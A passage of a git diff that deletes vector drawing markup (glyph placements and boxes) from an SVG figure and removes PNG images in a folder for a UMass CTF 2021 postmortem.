transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="5.556" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="10.537" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="16.231" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="21.213" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="27.16665" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="33.110337" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="39.063987" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="45.012" y="109.408"/> - <use xlink:href="#glyph0-2" x="49.9933" y="109.408"/> - <use xlink:href="#glyph0-1" x="54.9746" y="109.408"/> - <use xlink:href="#glyph0-1" x="59.9559" y="109.408"/> - <use xlink:href="#glyph0-1" x="64.9372" y="109.408"/> - <use xlink:href="#glyph0-3" x="69.9185" y="109.408"/> - <use xlink:href="#glyph0-1" x="74.8998" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="96.263" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="101.245" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="106.939" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="111.92" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="117.87365" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="123.817337" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="129.770987" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="135.72" y="109.408"/> - <use xlink:href="#glyph0-2" x="140.7013" y="109.408"/> - <use xlink:href="#glyph0-1" x="145.6826" y="109.408"/> - <use xlink:href="#glyph0-1" x="150.6639" y="109.408"/> - <use xlink:href="#glyph0-1" x="155.6452" y="109.408"/> - <use xlink:href="#glyph0-4" x="160.6265" y="109.408"/> - <use xlink:href="#glyph0-1" x="165.6078" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="186.97" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="191.952" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="197.646" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="202.627" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="208.58065" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="214.524337" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="220.477987" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="226.427" y="109.408"/> - <use xlink:href="#glyph0-2" x="231.4083" y="109.408"/> - <use xlink:href="#glyph0-1" x="236.3896" y="109.408"/> - <use xlink:href="#glyph0-1" x="241.3709" y="109.408"/> - <use xlink:href="#glyph0-1" x="246.3522" y="109.408"/> - <use xlink:href="#glyph0-5" x="251.3335" y="109.408"/> - <use xlink:href="#glyph0-1" x="256.3148" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="277.678" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="282.659" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="288.353" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="293.334" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="299.28765" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="305.231337" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="311.184987" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="317.134" y="109.408"/> - <use xlink:href="#glyph0-2" x="322.1153" y="109.408"/> - <use xlink:href="#glyph0-1" x="327.0966" y="109.408"/> - <use xlink:href="#glyph0-1" x="332.0779" y="109.408"/> - <use xlink:href="#glyph0-1" x="337.0592" y="109.408"/> - <use xlink:href="#glyph0-6" x="342.0405" y="109.408"/> - <use xlink:href="#glyph0-1" x="347.0218" y="109.408"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-7" x="7.672" y="137.755"/> - <use xlink:href="#glyph0-8" x="11.546455" y="137.755"/> - <use xlink:href="#glyph0-9" x="16.527755" y="137.755"/> - <use xlink:href="#glyph0-10" x="22.062976" y="137.755"/> - <use xlink:href="#glyph0-11" x="27.598196" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-12" x="34.790197" y="137.755"/> - <use xlink:href="#glyph0-13" x="40.048457" y="137.755"/> - <use xlink:href="#glyph0-6" x="45.029757" y="137.755"/> - <use xlink:href="#glyph0-4" x="50.011057" y="137.755"/> - <use xlink:href="#glyph0-12" x="54.992357" y="137.755"/> - <use xlink:href="#glyph0-8" x="60.250618" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="68.559426" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="73.536" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="79.23" y="137.755"/> - <use xlink:href="#glyph0-1" x="84.2113" y="137.755"/> - <use xlink:href="#glyph0-1" x="89.1926" y="137.755"/> - <use xlink:href="#glyph0-1" x="94.1739" y="137.755"/> - <use xlink:href="#glyph0-2" x="99.1552" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="104.136" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="110.08965" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="116.033337" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="121.986987" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="127.936" y="137.755"/> - <use xlink:href="#glyph0-2" x="132.9173" y="137.755"/> - <use xlink:href="#glyph0-1" x="137.8986" y="137.755"/> - <use xlink:href="#glyph0-1" x="142.8799" y="137.755"/> - <use xlink:href="#glyph0-1" x="147.8612" y="137.755"/> - <use xlink:href="#glyph0-3" x="152.8425" y="137.755"/> - <use xlink:href="#glyph0-1" x="157.8238" y="137.755"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="59.482" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="64.463" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="70.157" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="75.138" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="81.09165" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="87.035337" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="92.988987" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="98.938" y="151.928"/> - <use xlink:href="#glyph0-2" x="103.9193" y="151.928"/> - <use xlink:href="#glyph0-1" x="108.9006" y="151.928"/> - <use xlink:href="#glyph0-1" x="113.8819" y="151.928"/> - <use xlink:href="#glyph0-1" x="118.8632" y="151.928"/> - <use xlink:href="#glyph0-3" x="123.8445" y="151.928"/> - <use xlink:href="#glyph0-1" x="128.8258" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-14" x="136.576703" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="175.635" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="180.616" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="186.31" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="191.291" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="197.24465" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="203.188337" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="209.141987" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="215.091" y="151.928"/> - <use xlink:href="#glyph0-2" x="220.0723" y="151.928"/> - <use xlink:href="#glyph0-1" x="225.0536" y="151.928"/> - <use xlink:href="#glyph0-1" x="230.0349" y="151.928"/> - <use xlink:href="#glyph0-1" x="235.0162" y="151.928"/> - <use xlink:href="#glyph0-5" x="239.9975" y="151.928"/> - <use xlink:href="#glyph0-1" x="244.9788" y="151.928"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="266.822" y="152.647"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="271.803" y="152.647"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="277.497" y="152.647"/> - <use xlink:href="#glyph0-1" x="282.4783" y="152.647"/> - <use xlink:href="#glyph0-1" x="287.4596" y="152.647"/> - <use xlink:href="#glyph0-1" x="292.4409" y="152.647"/> - <use xlink:href="#glyph0-1" x="297.4222" y="152.647"/> - <use xlink:href="#glyph0-1" x="302.4035" y="152.647"/> - <use xlink:href="#glyph0-1" x="307.3848" y="152.647"/> - <use xlink:href="#glyph0-1" x="312.3661" y="152.647"/> - <use xlink:href="#glyph0-1" x="317.3474" y="152.647"/> - <use xlink:href="#glyph0-1" x="322.3287" y="152.647"/> - <use xlink:href="#glyph0-1" x="327.31" y="152.647"/> - <use xlink:href="#glyph0-1" x="332.2913" y="152.647"/> - <use xlink:href="#glyph0-1" x="337.2726" y="152.647"/> - <use xlink:href="#glyph0-1" x="342.2539" y="152.647"/> - <use xlink:href="#glyph0-1" x="347.2352" y="152.647"/> - <use xlink:href="#glyph0-1" x="352.2165" y="152.647"/> -</g> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -63.780563 L 170.08225 -77.952438 L 255.121312 -77.952438 L 255.121312 -63.780563 Z M 170.08225 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<g clip-path="url(#clip1)" clip-rule="nonzero"> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -63.780563 L 255.121312 -77.952438 L 368.508031 -77.952438 L 368.508031 -63.780563 Z M 255.121312 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="59.482" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="64.463" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="70.157" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="75.138" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="81.09165" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="87.035337" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="92.988987" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="98.938" y="180.274"/> - <use xlink:href="#glyph0-2" x="103.9193" y="180.274"/> - <use xlink:href="#glyph0-1" x="108.9006" y="180.274"/> - <use xlink:href="#glyph0-1" x="113.8819" y="180.274"/> - <use xlink:href="#glyph0-1" x="118.8632" y="180.274"/> - <use xlink:href="#glyph0-4" x="123.8445" y="180.274"/> - <use xlink:href="#glyph0-1" x="128.8258" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-14" x="136.576703" y="180.274"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="177.925" y="181.243"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="182.906" y="181.243"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="188.6" y="181.243"/> - <use xlink:href="#glyph0-15" x="193.5813" y="181.243"/> - <use xlink:href="#glyph0-6" x="198.5626" y="181.243"/> - <use xlink:href="#glyph0-5" x="203.5439" y="181.243"/> - <use xlink:href="#glyph0-6" x="208.5252" y="181.243"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-3" x="213.507" y="181.243"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-6" x="217.782" y="181.243"/> - <use xlink:href="#glyph0-3" x="222.7633" y="181.243"/> - <use xlink:href="#glyph0-2" x="227.7446" y="181.243"/> - <use xlink:href="#glyph0-5" x="232.7259" y="181.243"/> - <use xlink:href="#glyph0-6" x="237.7072" y="181.243"/> - <use xlink:href="#glyph0-6" x="242.6885" y="181.243"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="266.822" y="180.994"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="271.803" y="180.994"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="277.497" y="180.994"/> - <use xlink:href="#glyph0-1" x="282.4783" y="180.994"/> - <use xlink:href="#glyph0-1" x="287.4596" y="180.994"/> - <use xlink:href="#glyph0-1" x="292.4409" y="180.994"/> - <use xlink:href="#glyph0-1" x="297.4222" y="180.994"/> - <use xlink:href="#glyph0-1" x="302.4035" y="180.994"/> - <use xlink:href="#glyph0-1" x="307.3848" y="180.994"/> - <use xlink:href="#glyph0-1" x="312.3661" y="180.994"/> - <use xlink:href="#glyph0-1" x="317.3474" y="180.994"/> - <use xlink:href="#glyph0-1" x="322.3287" y="180.994"/> - <use xlink:href="#glyph0-1" x="327.31" y="180.994"/> - <use xlink:href="#glyph0-1" x="332.2913" y="180.994"/> - <use xlink:href="#glyph0-1" x="337.2726" y="180.994"/> - <use xlink:href="#glyph0-1" x="342.2539" y="180.994"/> - <use xlink:href="#glyph0-1" x="347.2352" y="180.994"/> - <use xlink:href="#glyph0-1" x="352.2165" y="180.994"/> -</g> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -92.128219 L 170.08225 -106.300094 L 255.121312 -106.300094 L 255.121312 -92.128219 Z M 170.08225 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<g clip-path="url(#clip2)" clip-rule="nonzero"> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -92.128219 L 255.121312 -106.300094 L 368.508031 -106.300094 L 368.508031 -92.128219 Z M 255.121312 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="59.482" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="64.463" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="70.157" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="75.138" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="81.09165" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="87.035337" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="92.988987" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="98.938" y="208.621"/> - <use xlink:href="#glyph0-2" x="103.9193" y="208.621"/> - <use xlink:href="#glyph0-1" x="108.9006" y="208.621"/> - <use xlink:href="#glyph0-1" x="113.8819" y="208.621"/> - <use xlink:href="#glyph0-1" x="118.8632" y="208.621"/> - <use xlink:href="#glyph0-5" x="123.8445" y="208.621"/> - <use xlink:href="#glyph0-1" x="128.8258" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-14" x="136.576703" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="175.635" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="180.616" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="186.31" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="191.291" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="197.24465" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="203.188337" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="209.141987" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="215.091" y="208.621"/> - <use xlink:href="#glyph0-2" x="220.0723" y="208.621"/> - <use xlink:href="#glyph0-1" x="225.0536" y="208.621"/> - <use xlink:href="#glyph0-1" x="230.0349" y="208.621"/> - <use xlink:href="#glyph0-1" x="235.0162" y="208.621"/> - <use xlink:href="#glyph0-6" x="239.9975" y="208.621"/> - <use xlink:href="#glyph0-1" x="244.9788" y="208.621"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="266.822" y="209.34"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="271.803" y="209.34"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="277.497" y="209.34"/> - <use xlink:href="#glyph0-1" x="282.4783" y="209.34"/> - <use xlink:href="#glyph0-1" x="287.4596" y="209.34"/> - <use xlink:href="#glyph0-1" x="292.4409" y="209.34"/> - <use xlink:href="#glyph0-1" x="297.4222" y="209.34"/> - <use xlink:href="#glyph0-1" x="302.4035" y="209.34"/> - <use xlink:href="#glyph0-1" x="307.3848" y="209.34"/> - <use xlink:href="#glyph0-1" x="312.3661" y="209.34"/> - <use xlink:href="#glyph0-1" x="317.3474" y="209.34"/> - <use xlink:href="#glyph0-1" x="322.3287" y="209.34"/> - <use xlink:href="#glyph0-1" x="327.31" y="209.34"/> - <use xlink:href="#glyph0-1" x="332.2913" y="209.34"/> - <use xlink:href="#glyph0-1" x="337.2726" y="209.34"/> - <use xlink:href="#glyph0-1" x="342.2539" y="209.34"/> - <use xlink:href="#glyph0-1" x="347.2352" y="209.34"/> - <use xlink:href="#glyph0-1" x="352.2165" y="209.34"/> -</g> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -120.471969 L 170.08225 -134.64775 L 255.121312 -134.64775 L 255.121312 -120.471969 Z M 170.08225 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<g clip-path="url(#clip3)" clip-rule="nonzero"> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -120.471969 L 255.121312 -134.64775 L 368.508031 -134.64775 L 368.508031 -120.471969 Z M 255.121312 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="59.482" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="64.463" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="70.157" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="75.138" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="81.09165" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="87.035337" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="92.988987" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="98.938" y="236.967"/> - <use xlink:href="#glyph0-2" x="103.9193" y="236.967"/> - <use xlink:href="#glyph0-1" x="108.9006" y="236.967"/> - <use xlink:href="#glyph0-1" x="113.8819" y="236.967"/> - <use xlink:href="#glyph0-1" x="118.8632" y="236.967"/> - <use xlink:href="#glyph0-6" x="123.8445" y="236.967"/> - <use xlink:href="#glyph0-1" x="128.8258" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-14" x="136.576703" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="175.635" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="180.616" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="186.31" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="191.291" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="197.24465" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="203.188337" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-2" x="209.141987" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-2" x="215.091" y="236.967"/> - <use xlink:href="#glyph0-2" x="220.0723" y="236.967"/> - <use xlink:href="#glyph0-1" x="225.0536" y="236.967"/> - <use xlink:href="#glyph0-1" x="230.0349" y="236.967"/> - <use xlink:href="#glyph0-1" x="235.0162" y="236.967"/> - <use xlink:href="#glyph0-2" x="239.9975" y="236.967"/> - <use xlink:href="#glyph0-1" x="244.9788" y="236.967"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="266.822" y="237.687"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph1-1" x="271.803" y="237.687"/> -</g> -<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> - <use xlink:href="#glyph0-1" x="277.497" y="237.687"/> - <use xlink:href="#glyph0-1" x="282.4783" y="237.687"/> - <use xlink:href="#glyph0-1" x="287.4596" y="237.687"/> - <use xlink:href="#glyph0-1" x="292.4409" y="237.687"/> - <use xlink:href="#glyph0-1" x="297.4222" y="237.687"/> - <use xlink:href="#glyph0-1" x="302.4035" y="237.687"/> - <use xlink:href="#glyph0-1" x="307.3848" y="237.687"/> - <use xlink:href="#glyph0-1" x="312.3661" y="237.687"/> - <use xlink:href="#glyph0-1" x="317.3474" y="237.687"/> - <use xlink:href="#glyph0-1" x="322.3287" y="237.687"/> - <use xlink:href="#glyph0-1" x="327.31" y="237.687"/> - <use xlink:href="#glyph0-1" x="332.2913" y="237.687"/> - <use xlink:href="#glyph0-1" x="337.2726" y="237.687"/> - <use xlink:href="#glyph0-1" x="342.2539" y="237.687"/> - <use xlink:href="#glyph0-1" x="347.2352" y="237.687"/> - <use xlink:href="#glyph0-1" x="352.2165" y="237.687"/> -</g> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -148.819625 L 170.08225 -162.995406 L 255.121312 -162.995406 L 255.121312 -148.819625 Z M 170.08225 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<g clip-path="url(#clip4)" clip-rule="nonzero"> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -148.819625 L 255.121312 -162.995406 L 368.508031 -162.995406 L 368.508031 -148.819625 Z M 255.121312 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -</g> -</g> -</svg> diff --git a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-1.png b/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-1.png Binary files differdeleted file mode 100644 index 1bee126..0000000 --- a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-1.png +++ /dev/null diff --git a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-2.png b/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-2.png Binary 